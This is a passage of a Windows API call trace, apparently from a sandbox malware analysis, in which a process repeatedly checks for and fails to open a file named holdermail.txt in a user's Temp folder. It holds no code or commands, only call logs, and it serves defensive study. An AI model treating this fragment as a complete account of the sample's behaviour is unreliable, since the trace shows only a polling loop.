	[0089.427] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.427] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.427] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.428] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.428] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.428] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.429] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.429] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.429] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.429] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.429] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.429] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.430] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.430] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.430] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.430] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.431] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.431] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.431] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.431] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.432] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.432] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.432] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.433] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.433] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.433] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.433] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.433] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.435] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.435] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.435] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.435] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.435] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.436] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.436] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.436] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.437] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.437] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.437] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.437] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.437] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.438] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.438] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.438] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.438] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.438] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.438] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.439] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.439] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.439] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.439] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.439] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.439] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.440] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.440] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.440] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.441] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.441] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.441] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.442] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.442] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.442] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.442] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.442] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.442] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.443] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.443] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.443] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.443] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
